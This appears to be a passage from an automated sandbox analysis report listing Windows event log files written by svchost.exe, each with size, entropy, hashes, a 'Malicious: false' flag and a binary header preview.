Preview:	ElfChnk.........................................X0.....!....................................................................B...........................................>...=...........................................................................................................................f...............?...........................m...................M...F...........................&.......................................6(..............................................................................**..............c...............&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-NetworkProfile%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.241268628600426
Encrypted:	false
SSDEEP:	384:Thk1EL1I1Vh1C1D161f1f181L1tY1VGm1Q1L1p1VG1U1Z1s1VA141c1Vc1q1tS1/:TBjdjP0csQqL
MD5:	602FD635C1BE2C0F087784BAE052554B
SHA1:	77EE62511C78BA6989DF77AC6B616422A44D7F54
SHA-256:	78FC5D1D71915650A8080B217B8B28F799B054F35C89AAB2C474DC4B9C3F0581
SHA-512:	8A66621CE4233D42AE83A0046A04628F4A88D91713C064944A61AFDF3F33D44E54E416A8441D1FFFDDCEA2E909761BBF151894881B4F93C0D238537939E21217
Malicious:	false
Preview:	ElfChnk...............................................j.........................................................................................>.......................f...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&..............................A.......................................................*..............5.8..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Ntfs%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	128208
Entropy (8bit):	3.6957707566714455
Encrypted:	false
SSDEEP:	384:26IDxhIEIjIUIoIhNIDIkgIpNITbIxvIIyI6IEIRIUIVIEIQImIuWhDIEQAGxIHE:2/KWWZxGkilhKNWZxGkilhKf
MD5:	EF52C86BD67254C41CA1559308ED051C
SHA1:	FCA8FB5E149FB0658A3B00C4670C17B90C7A567B
SHA-256:	E6B6FB49A6374842698B7728851F05559E4721EB8E8E89E5E2F4C0FC65ECEEF7
SHA-512:	53E115D4E9546D54A408BCC53298825880AC82A6EDFAADB4DB36BF225F1DF91DC3D590A1BF2D93D9E0E9CCFDEEF350659EC0E274009DFE9103523017785E2572
Malicious:	false
Preview:	ElfChnk.T...............T...........................H......................................................................t...........................................>...=...........................................................................................................................f...............?...........................m...................M...F...........................................................a........F..........1........................................)..........................**......y.......#..m............E!.F..............................................................,.......D.....!........... ....@#..m.......`...a..`....... ...y....................M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.N.t.f.s..z.?..nM.......M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.N.t.f.s./.O.p.e.r.a.t.i.o.n.a.l.......a...&.......6p.\.#i....>..........2........A..=...>.../....=.......V.o.l.u.m.e.C.o.r.r.e.l.a.t.i.o.n.I.d.......A..7...>...)....=.......V.o.l.u.m.e.N.a.m.e.L.e.n.g.t.h....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Ntfs%4WHC.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8023807109333921
Encrypted:	false
SSDEEP:	384:Fch6iIvcImIvITIQIoIoI3IEIMIoIBIOIRTIWeIZIEPdINI:FcoxXxP
MD5:	996D00E5A8B66706691FE697CCD68A7A
SHA1:	C90C99232451BAF2DCEB02C56C69CA9194390A9D
SHA-256:	95EF5245BEB2BBFD8EB8F5CE3A0C81869EF2AFACA54EF3445C3B144909C6A4B2
SHA-512:	FEA1D551151A622B151133814ECA8DE8EE4E3DA6D08F81CCE931FA7A64242E732A283E03A4B21EE922AF24F6FF0AF5EE2F26CDB7AA534583063C40F9C40DA0C8
Malicious:	false
Preview:	ElfChnk.....................................`"...#...l]....................................................................upp.............................................=...........................................................................................................................f...............?...........................m...................M...F...........................&.......................................^...............................................................................**..............................&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Partition%4Diagnostic.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.999253421723821
Encrypted:	false
SSDEEP:	768:h4u1n8zfFFU1x4Dk13xIb13xIb13xIt13xIi13xI513xIU13xI013xIF13xIH130:j
MD5:	11CAFE60067FAE9C5A304C7A7DAC0EB5
SHA1:	0E72987588CB8557C7CD00AD3D8956CDC0593C35
SHA-256:	1AFA765FD9A0D9659C2A02A266ED4FD303C82BD9AFF45F0E7167E335F91E042E
SHA-512:	764A5D459803B989800473821647907FF484C914778A8AE42257E4791C1C1369E5490AB9365665C257045A007907981E78C1F2B4D5652BCA777873439537E9D0
Malicious:	false
Preview:	ElfChnk.....................................0...@......~....................................................................u!..................(.......................P...=...........................................................................................................................f...............?...........................m...................M...F...........................&................................ ......................................................................................**...............................&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-PushNotification-Platform%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.434419120849508
Encrypted:	false
SSDEEP:	768:Coj+1jN2RkG6OQFAWAbYgO0TKLyqHvaCmkyGU:Ci+y4AVKLyqHukyGU
MD5:	305B158F7163EB6D1E093A059DED207B
SHA1:	6B56D0D843EEEB0804AD648F7888CD25EC5D8DF7
SHA-256:	849D09E8541C4C51D8A81461E060A642E570F0A3E93CCE4820E03B91CC125F26
SHA-512:	2198E2701B77F09B8B86D45BD033A1DC2366D30861C0AE0F19E045DAD26F1ECB577865F2F8ACD9395562C43914DEFAAD03B0AA9D8733676E6E1018F8DEE18EF7
Malicious:	false
Preview:	ElfChnk._..............._...................P........s.T......................................................................?.................v...........................=...........................................................................................................................f...............?...........................m...................M...F..............................................................O'../.......................g...................g...............Og......w...........**..X..._..........`...........E!&.........E!.._c..Y..........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-ReadyBoost%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.7602204514023913
Encrypted:	false
SSDEEP:	384:ChP8o8Z85848V8M8g8D8R8E8J83W1d8b8ut8l8:CR
MD5:	A71D2A716E4B8C87379C50F91A376243
SHA1:	B55D17BCD95C285812D918E820EDC513B8BC4373
SHA-256:	4C279C417D131982DEF275E92EC2EB1CCF985E5A5785B8989D28972A72AAD650
SHA-512:	4759EE9F1D1DF7F9C3452A40C1A58C66A8928378CC69B464944C4732BC5042BE1FFA81996F5943702CF7379C632B41081F9109421EB9A2243CCF06AF02BC45E8
Malicious:	false
Preview:	ElfChnk.........................................8!..=.......................................................................w]..........................................V...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&.......v...............................................................................**..(.............................&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.777787992757215
Encrypted:	false
SSDEEP:	1536:9XhSUyS+z1VV18o838c8bUc8cVVsz8VX8SoX8aA8cmtpjAiVB18dwE4vjcYoMjn1:9XonS
MD5:	E6FF7A295152A36E7A222547BF78A53E
SHA1:	F50EEB5B1479494B8E1E932F8825715ECB99CD26
SHA-256:	F1D9EA9F88F9D1A614750D11EBC2BC9278F8ABB2DD8D28ECE3998D0D13C12ADC
SHA-512:	3BC89C8ECBC8F5F8557C0C41E3F15BD0F6F9753DD46BA2C878133EE6AF88EEF7335773FCF0649FF1D457BD697FC87CA88859C08D3C29450D50F2365B11655FD7
Malicious:	false
Preview:	ElfChnk...................................(N...O..............................................................................................v...........................=...........................................................................................................................f...............?...........................m...................M...F...........................................................&........=......................................................O.......................**..............g5...............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-SMBServer%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.4655200384785823
Encrypted:	false
SSDEEP:	768:m0VsLY/Z5aFka2aKazzabCafama5Sa0ra6rzaJcavkao9O5vaP4eZiGai2niL9i5:ucE5
MD5:	EC1441AF347A3AEBD3C499EB77112044
SHA1:	062F0645AF0FF401308A0582362E6FE001C5444F
SHA-256:	97F7D6CF9603D2EF964F3D680F5902853382AE270ED6A37576364BD19E0A1C4A
SHA-512:	687D850AB0E8E4E75E484ED8E56658749F1331854AD6E28400538F050E3F372CA791023C87CE192D1417C70E63C0911E589AD9AE103CE30BB68A03EED414AABA
Malicious:	false
Preview:	ElfChnk.........@...............@............{..@}....c.....................................................................].................Q...........................=...........................................................a...............................................................f...............?...2...........................................M...F......................................&................................................b..........%_..........................]...................*.............._.............X..&.......X...],T.'tB..E........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	86488
Entropy (8bit):	2.2476118306014543
Encrypted:	false
SSDEEP:	384:lhNiwCrtrlXbaDQX/5pbiN5p6iN5yYXiN5pZiN5pIiN5pLiN5pZDiN5p+iN5yYTr:l6A6EV
MD5:	B05A4EAB64EA7342B26E8328102FA68A
SHA1:	1C0267DB4EF9F39A640E227723773547112FB232
SHA-256:	B58AEBD6EA0869E93FB7B1489F648A3F8631DC7DA5D0692DB59370DCE6C690FA
SHA-512:	ACE2CE5945F613582D09B15907F4DDABB2348E4BCA409DA3F81A9DA69A210931E53197DD3EA9708E023239F3E3666A4C6C9E45E5D11026049A8800D286BDCB83
Malicious:	false
Preview:	ElfChnk.'.......0.......'.......0............E..`L....B.....................................................................\M..................^...........................=...........................................................................................................................f...............?...........................m...................M...F...........................................7.......................&...............................................................................**......'........D.Y_...........E!&.........E!.._c..Y..........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-SettingSync%4Debug.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.335307911754908
Encrypted:	false
SSDEEP:	384:NpQ/hDGCyCkCzCRCFCaC5ClCWQCyCiECLCtmWCTCYCflCdCEtC0C6gCwzChWCVJY:NpQ/dJjm6EIf8aG3e
MD5:	DEC13E419235D71E66C768AF61C819EB
SHA1:	C2601E3DF8A2D6E230D368CA0ECDD4BD11786D1A
SHA-256:	E9AAB8B817BC34F1B7009A6ABC439ACD1EFC991293198857268699458DF84552
SHA-512:	A78230EF0961E00D27B109F0EEF6DEDB9198759E1858C1DCB8C0E1032D48242C23726BB2931EE62A47A5C4D8434CD3BB537B0E6DF85D62653E3648A49A22AA3D
Malicious:	false
Preview:	ElfChnk.U...............U.............................w..................................................................... j..................F.......................n...=...........................................................................................................................f...............?...........................m...................M...F...........................1[..............................&........>......................................y.......................................**..0...U.........Df..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Shell-Core%4AppDefaults.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.470554172113501
Encrypted:	false
SSDEEP:	1536:J0dBaHTmPeG68WdEWx/Tm3vaA1YNNd/vTGMk1o4X7BOBrc3gkWqJfECYqzGDXbJm:J0razmmG/WCWlTYvn1ANxvqMYo4XdOBH
MD5:	7C2BA3824E6FDFDC9B34997831CF5BA4
SHA1:	2F75B2D7953CA1F3F139E66C1C1C785DC11F6F0B
SHA-256:	902EC3153154EDF682DF6D35860B9D42B3C6016F787D02E0CC1D2371F3997192
SHA-512:	4BC9FFCB38302D4764B8632EC360FFDE079EF9818F6128BE07F6E89671A510A32AC93145F3FDB4CDBD6363390EAB157D8B164C2B04B86A36C3B93A08AE7A6B52
Malicious:	false
Preview:	ElfChnk......................................h...i.....n....................................................................n.2.................8.......................`...=...........................................................................................................................f...............?...........................m...................M...F...................................................................&...............................................................................**..8............C',_...........E!&.........E!.._c..Y..........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Shell-Core%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	70808
Entropy (8bit):	4.472924735663251
Encrypted:	false
SSDEEP:	1536:onXV0TICymdzj+j9GvEkeLhw6IrKOu4zB5c63VJ7qhFRbw7ZGnCg7HZANhlPqizg:onXVUICymdzj+j9GvEkeLhw6IrKOu4z0
MD5:	25D1597DE9A01526EC4658342283998A
SHA1:	87BA0EC37178FA40247A5FB5E00AE03A36486DE9
SHA-256:	656F9367917ABB180227C8DB8137B6DF16B8553FAAA0778A658FE5C3A522D8A3
SHA-512:	0E19DD07AB470357F275ADA42AD34712CA25A7F37528199C5E0E4471B350DD81BCE1741F2A34F9C5747D1F4901A35A92A608F648FFC04B47E52CDF9D9B832329
Malicious:	false
Preview:	ElfChnk.........#...............#...............(..............................................................................................8.......................`...=...........................................................................................................................f...............?...........................m...................M...F...............................................................9...&...........................q.......I...................................Q.........x...........=..k............E!&...............................................................8.......P.....!....nqm......... =..k........o.VL.A.....@....H............................$.N......M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.S.h.e.l.l.-.C.o.r.e..n30'.\|D..Q.R.a.M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.S.h.e.l.l.-.C.o.r.e./.O.p.e.r.a.t.i.o.n.a.l......L...............x.....(..............k............E!&...............................................................8.......P.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-ShellCommon-StartLayoutPopulation%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.5283250731919766
Encrypted:	false
SSDEEP:	384:YeUThv707s7a7v7yP7c7V7u7C7Z7C7M7n7K7G7d7Yp7PC787h7H7l73+7L7L7j7s:YeUTRVb
MD5:	9CB77B06F0F33B4BC7A638085998A032
SHA1:	04C57BABBE0B49A1AF70143FD2D9ED9071A14D5C
SHA-256:	AC3F98137ECCA65B1C5EBDF80B02F693E51AEA05B0B033CCB9A91C68778FF751
SHA-512:	488788029BCCEA4A3D2C8ED7492D895469BE0962884BC868F080E9CB479AF7ECDAF46E17FC08C9912B953E614E9DEE673DF994170931A99D9E28248117C6F4F8
Malicious:	false
Preview:	ElfChnk.....................................0y...{.._N......................................................................%.............................................=...........................................................................................................................f...............?...........................m...................M...F...........................-@..............E9..m...................&.......................................................->......................**..8...........D...`...........E!&.........E!.._c..Y..........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-SmbClient%4Connectivity.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.268440759929627
Encrypted:	false
SSDEEP:	384:whc+uaNuru+uhuKVuPJu5u9u4ufuTuxuDuvuDuOuXumui+udutui4uTAuFuauinJ:w6Ovc0S5UyEeDgLvqSX79K
MD5:	3E6903B4F529505011694E65B60A9154
SHA1:	05BC372041FD161154C35F843BFE439066F3A6C6
SHA-256:	E7BB68D43D88025FC2EC47BCA4957A08CEDF53FAA24751D95019CEF867223393
SHA-512:	8C700C45A3A01A79F9E0AB74BE5C0E718E231AAD4395F631A3DADA5C83E937EEBD0804DB0AF340A341440414ACD9293713B9ECB1A074F5E794CA21DFAB8D8CA0
Malicious:	false
Preview:	ElfChnk.........?...............?............q...s..>O......................................................................C..................,.......................T...=...........................................................................................................................f...............?...........................m...................M...F...........................&.......................................6^..............................................w...............................*...............&3..............&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-SmbClient%4Security.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8178355996317889
Encrypted:	false
SSDEEP:	384:HhGuZumutu4uEu5uOuDuyb2uPu1uuuCeuDu7utu:HD
MD5:	FFB7825ACA321A39E4DD495EC4B7E3BE
SHA1:	A4EBE4617E4B98D93FDE5546893A4D29441B5F44
SHA-256:	F56C28857B0E8D30F34089306B9CCF6655F7ED073412E710AB10D747092DA0D2
SHA-512:	86D7C252C870B9362394CFA35B99AE257228E477A5346D8EF5B91E81F3A78CD008DC52A5F3D12C395EFB715F82B849CAD805AD71CF8C58514614F83EACB4F63E
Malicious:	false
Preview:	ElfChnk......................................"...$....u.....................................................................v..C................$.......................L...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&.......>...............................................................................**..............Wy.8..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-StateRepository%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.075909180265887
Encrypted:	false
SSDEEP:	384:NhzAsAvAaAmANSAbNAQAfCHA+AHchArAXATAvAjALATABAtGABS78jAOAqA4eAEp:NGCs2k64i/tpqA
MD5:	3A282029B03747ACB9F0A3496C717BD9
SHA1:	705490A345F883E024CC1641981A90DA6EDADCF5
SHA-256:	2A94A3FFC2481031F58367AB9F99D7972299D7F537520D2A6318B1BAA6B158F8
SHA-512:	F98AEB35B035B10B5C3CCA876E445D502AD84F66BE857B17EFE715983F9834ECAEDCCE5FF03914853115DE1644E9541FF111BD79A3607FA707735546A0C04AD4
Malicious:	false
Preview:	ElfChnk.....................................H.......}{........................................................................dE................<.......................d...=...........................................................................................................................f...............?...........................m...................M...F............................+.......................%..............&...............................................................................**..............\|..3_...........E!&.........E!.._c..Y..........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Storage-Storport%4Health.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.162414582102809
Encrypted:	false
SSDEEP:	384:khVpW2pPkpPrpPepP1pP4pPHpPypPxpPYpPDpPypPlpPct1pPnpPsLpPAWpPQpPT:k+tZb
MD5:	0D76B94CB673E07C9297775F6635BB30
SHA1:	42037C8D133B4CD395BA6BDC1108C30882248866
SHA-256:	7133E41E960AD5F46294DCBDC3FFE8CFCFD120213DF680017947924D3C013A8B
SHA-512:	9E5D104332631EDBCB8AF55BCEA2CD7B7EB34A0FE1DF226579E005A775840CDF05C86CCBEF902730138ED1A27347B4FB070FAF37046320740009CC11BAC11C33
Malicious:	false
Preview:	ElfChnk.........'...............'...................u..4.................................................................... ...........................................B...=...........................................................................................................................f...............?...........................m...................M...F...................................................................&...............................................................................**...............h{.`...........E!&.........E!.._c..Y..........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Storage-Storport%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.217583590897775
Encrypted:	false
SSDEEP:	384:3hUIpGcRpDvpLfpvQpw2pQYph15pcApLqBpJxTp0qo8psfp4yp4Rphe3p7PpLWBD:3YDoh1VLBCVz6t0o3ZeF9UBlG
MD5:	C5BB06A11AA8E33C5D2512146A14F414
SHA1:	BCA1D0ABD07806B4DDB34B4483B04B57A840CC26
SHA-256:	5A42653C87D73E415D15B08AE3511312F991238224022920D85CDEE43316C64A
SHA-512:	8FE28DAC0CEB3BBB462390492FA7623077448CCD58E04EE38C6CE9FF92FAD6647176DD61A628A4C03C3C5DEE9912D67375AE77865DE52D23B2B253C01C43FC86
Malicious:	false
Preview:	ElfChnk.........................................P......a.................................................................... ..................$.......................L...=...........................................................................................................................f...............?...........................m...................M...F...................................................................&...............................................................................**..............T.0.`...........E!&.........E!.._c..Y..........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-StorageSpaces-Driver%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.1666137709834492
Encrypted:	false
SSDEEP:	384:uwhwCCRzCaCkClCzCYC/CyCVCGCMCvCzCw9CdqCVCICsC:uwKFT
MD5:	88E290384531AC91E63C802B158E726D
SHA1:	2AFD218C14B290A33DC27B0BDBA87AADFD428D9B
SHA-256:	36B48D00709B0F3B917927DE97D395C4785F6A7B61CCC5C72C799C4521FD9D97
SHA-512:	7969E4BDC2659D8412FD187135AB04B329AE134E2A5E386D86BA0E490F979621DCE05DF1118FA31987CB5FD27CB964773F4A67D6884002F7E9579A752E5A2AAD
Malicious:	false
Preview:	ElfChnk.....................................84..p6..........................................................................Pl..................V.......................~...=...........................................................................................................................f...............?...........................m...................M...F...........................&.......................................v)........................................................................../...**..p............................&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

